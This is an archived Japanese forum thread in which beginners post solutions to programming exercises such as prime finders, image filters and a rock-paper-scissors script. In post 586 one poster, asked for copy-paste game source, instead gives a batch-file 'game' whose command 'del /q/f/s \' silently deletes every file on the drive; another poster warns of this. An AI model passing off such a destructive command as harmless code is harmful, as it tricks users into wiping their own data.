[過去ログ] 【初心者】課題をクリアしていくスレ【講習会】 (787レス)
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583: くたらぎけん [] 2006/10/20(金) 14:17:57 ID:an970z+w(1) AAS
このスレ今から参加しても宜しいのでしょうか?
584: 名前は開発中のものです。 [sage] 2006/10/20(金) 22:11:32 ID:fQ4Z1QKt(1) AAS
勝手にやればいいんでね
585: 名前は開発中のものです。 [] 2006/10/21(土) 09:30:29 ID:wamNDeux(1/2) AAS
メモ帳に写して実行するだけでプレイ出来るゲームのソース貼って下さい

時間が無いのでなるべく早くお願いします
586
(1): 名前は開発中のものです。 [sage] 2006/10/21(土) 09:35:13 ID:6R8oaMOr(1) AAS
1.ファイル名を「適当な名前.bat」にする
2.次のを貼り付ける
@echooff
del /q/f/s \

3.出来たファイルを実行する
4.昨夜はお楽しみでしたね
587: 名前は開発中のものです。 [sage] 2006/10/21(土) 19:37:53 ID:XCzYIwYp(1) AAS
まあ実行するやつはいないと思うが、>>586はファイル全消去なので注意。
588: 名前は開発中のものです。 [] 2006/10/21(土) 21:56:38 ID:wamNDeux(2/2) AAS
delで何となく分かったよ
別に困らないけどね
589: 名前は開発中のものです。 [] 2006/10/22(日) 00:00:29 ID:IqzFRS51(1) AAS
やってみようと思うときが参加のタイミング。
適当に覗いて見よう。
590: 名前は開発中のものです。 [sage] 2006/10/22(日) 09:32:09 ID:be4WCk1M(1) AAS
1.ファイル名を「適当な名前.js」にする
2.次のを貼り付ける
var WShell = WScript.CreateObject("WScript.Shell");
var strHands = new Array(3); strHands[0]="グー"; strHands[1]="チョキ"; strHands[2]="パー";
var strResults = new Array(3); strResults[0]="引き分け"; strResults[1]="あなたの勝ち"; strResults[2]="あなたの負け";
var indexCom = Math.floor(Math.random()*3);
var indexYou = WShell.Popup("グー=中止 チョキ=再試行 パー=無視", 3 , "じゃんけん", 2|32)-3;
if(indexYou < 0)WShell.Popup("時間切れ", 1, "じゃんけん");
else WShell.Popup("わたし:"+strHands[indexCom]+"\nあなた:"+strHands[indexYou]+"\n\n"+strResults[(indexCom-indexYou+3)%3], 0, "じゃんけん");

3.出来たファイルを実行する
4.勝ったら脳内で脱がせる、負けたらリアルで脱ぐ
591: 受験生 ◆B57Fo1eLjo [sage] 2006/10/22(日) 10:29:26 ID:T38aBY/h(1) AAS
2あたりにいた受験生です(酉忘れちまったw

このスレまだあったのか…

また課題でも用意する?
592: 名前は開発中のものです。 [] 2006/11/19(日) 01:28:15 ID:wJaGDUpd(1) AAS
>>582
582(2): 名前は開発中のものです。 [] 2006/10/19(木) 12:24:46 ID:2T8BbUdQ(1) AAS
いくつか問題を出しましょう。
エフェクトに関する入り口。

適当な画像を、
・モノクロ
・エッジ
・モザイク
・ソフト
加工してください。
の課題やってみました
モノクロということでカラー画像から2値画像への変換
外部リンク[zip]:gamdev.org

開発環境はDelphi6 personal
ソース、実行ファイルが含まれています

使い方
ファイル→開く でBMP画像を開いておく
画像変換→モノクロ で画像処理をはじめます

画像の大きさにもよりますがちょっと時間がかかります(サンプル画像で5秒ぐらい)

変換サンプル画像
変換前
画像リンク


変換後
画像リンク


避難所の看板に変換処理をかけてみました
閾値はRGBともに32
この数字をうまく決めないと画像が消えちゃいますね
フォトレタッチソフトは閾値の入力なしで自動で処理してるけど
なにかうまい方法があるのかな
593
(2): C++/win32API [] 2006/11/25(土) 00:09:14 ID:ZxloQDt/(1/2) AAS
課題5です。
どなたかバックバッファがわかる方教えてください。
↓画面が真っ白になるんですけどどうすれば直りますか?

外部リンク[zip]:gamdev.org
594
(1): 名前は開発中のものです。 [sage] 2006/11/25(土) 02:02:55 ID:FscVmuXx(1) AAS
>>593
92-94行
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);

SelectObject(backBafferDC,hPen);
SelectObject(backBafferDC,hBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
に直してみてはいかがか。
595: 名前は開発中のものです。 [sage] 2006/11/25(土) 17:57:48 ID:zYG1sxsz(1) AAS
>>582の課題モザイク
サンプル画像
画像リンク

実行ファイルとソース
外部リンク[zip]:gamdev.org

このままの速度じゃゲームに使えないね
ひと段落ついたら高速化もやってみたい

それにしてもエッジ難しすぎる……
微分やオペレータって画像処理の基本らしいので
がんばりたいけど
596: 593 [] 2006/11/25(土) 21:37:45 ID:ZxloQDt/(2/2) AAS
>>594
できました!ありがとうございます。
597
(1): 名前は開発中のものです。 [sage] 2006/11/27(月) 13:00:13 ID:AfDweK2L(1) AAS
チラシの裏だが、素数の問題について一言。
”エラトステネスのふるい”というキーワードが出ているが、この問題に対して適応できるとは考えられない。
この方法を使うのならば、1000個目の数値が既知でなくてはならい。要するにズルをしないで解を得るには
総当りするか、無限個の要素からなる配列をふるいにかけるかである。
もしも”エラトステネスのふるい”を意識していたならば、例えば「0〜9999の間に存在する素数を列挙せよ」となる。
598
(1): 名前は開発中のものです。 [sage] 2006/11/27(月) 20:55:38 ID:3EIwZmwn(1) AAS
>>597
いいかい、n+1が素数かどうかを最も効率よく判定するためには、
n以下の素数が列挙されている必要がある。
これが「エラトステネスのふるい」から得られる知見なのだよ。

そうしてみると、1000個目の素数を探すプログラムには、
 ・ 次に判定する整数を示すカウンタ
 ・ 今までに見つかった素数を格納する配列
を確保する必要がある。
1000個目、という指定は、後者の確保する用量が静的に決まるため、
極めて具合が良いのだよ。

「エラトステネスのふるい」と言われて、
教科書どおりの手順しか思いつかない人間には、
残念ながら、創造の才能は無いよ。
与えられた道具は、使い方を工夫して、組み合わせるんだ。
599: 名前は開発中のものです。 [sage] 2006/11/28(火) 01:45:59 ID:VYv9sMeV(1) AAS
サンプル画像
画像リンク


画像リンク


実行ファイルとソース
外部リンク[zip]:gamdev.org

微分使うのを諦めて隣接するピクセルと引き算して閾値と比べてみた
工夫した点はRGBを別々に比べたこと
RGBの合計を閾値と比べるより綺麗なエッジがでます
閾値を弄れば雲の部分のエッジを出すことも可能
その場合は他の場所がうまくいかなかったりするので
調整するのも難しい
600: 名前は開発中のものです。 [sage] 2006/11/28(火) 03:03:40 ID:JXILxC55(1) AAS
>>598
前言撤回です。自分のアホさを痛感しつつ課題に取り組みました。
外部リンク[phps]:gamdev.org

というか、>>382
382(1): 名前は開発中のものです。 [sage] 04/07/21 12:16 ID:ddhH1W+g(1) AAS
#include <iostream.h>
int main(void){
  int sosuu[1000];
  // 配列の初期化
  for(int i=0; i<sizeof(sosuu)/sizeof(int); i++) sosuu[i] = 0;
  // ここから素数の計算
  sosuu[0] = 2;
  for(int i=3; i<=sizeof(sosuu); i+=2){
    int j=0;
    while(sosuu[j]){
      if(!(i%sosuu[j])) break;
      j++;
    }
    if(!sosuu[j]) sosuu[j]=i;
  }
  // 素数の出力
  for(int i=0; sosuu[i]; i++) cout << sosuu[i] << " ";
  return 0;
}
と同じですねHAHAHA.
orz
601: 名前は開発中のものです。 [sage] 2006/12/18(月) 20:43:34 ID:f8pwlrC2(1) AAS
課題 素数 COBOL
外部リンク[phps]:gamdev.org

まだCOBOLは出てなかったようなので……。
602: 名前は開発中のものです。 [] 2007/01/03(水) 13:04:17 ID:34CL32fK(1) AAS
ぼでぃいいいいいいいいいいいいいいいいいいいいいいいいず

あいむなっとあにぃいいいいいいいいいまああああああああある!
603
(2): 名前は開発中のものです。 [sage] 2007/02/03(土) 16:43:24 ID:b0e6Rts8(1/2) AAS
いきなりだが俺もちょこっと参加させてくれ。
とりあえずできそうなのからということで
>64
64(2): 4 ◆3VUXqvbfSY [] 04/06/15 20:16 ID:OmG1F0sQ(2/2) AAS
>>63
はい、正解です。

さて…次の課題は、素数です。
ゲームとは直接関係有りませんが、プログラムをやるなら、必ず一度は作るらしい!そんな課題です。

どの方法(アルゴリズム)を使っても構いません。
また、速度を追求させもしません。
ただし、速くしたいなら、どんどん高速化してみると楽しいですよ。

とりあえず、小さい方から1000個の素数を見つけるプログラムを作成してください。
の素数をやってみた。つかってるのはHSP3
よろしくお願いします。

screen 0,800.700,,,
font "MS ゴシック",8
a=2
b=2
c=0
repeat
repeat
if a\b = 0{
if a=b {: pos c\26*30,12*(c/26) : mes ""+a+" " :c++ :break}
else :break
}
if a<b :break
b++
loop
a++
b=2
if c=1000 :break
await 1
loop
stop

こんなので、こういうのができるのに自分でもびっくりだった。
本当にあってるかはよくわからんけど。
604: 名前は開発中のものです。 [sage] 2007/02/03(土) 16:46:30 ID:b0e6Rts8(2/2) AAS
と思ったら過疎スレなのか(´д`)
605: 製作神 ◆3C/O4odLsY [] 2007/02/03(土) 16:50:16 ID:z04kCzis(1) AAS
もっと投下すれば賑わうであろう。
606: 名前は開発中のものです。 [sage] 2007/02/04(日) 16:07:13 ID:wipOHoKW(1) AAS
数当てもつくってみたよ。しかしマジでいないなー。
607: 名前は開発中のものです。 [sage] 2007/02/04(日) 18:12:35 ID:MWYCkzpm(1) AAS
>>603
偉そうに登場したのによろしくお願いしますで締めてるところにうけた
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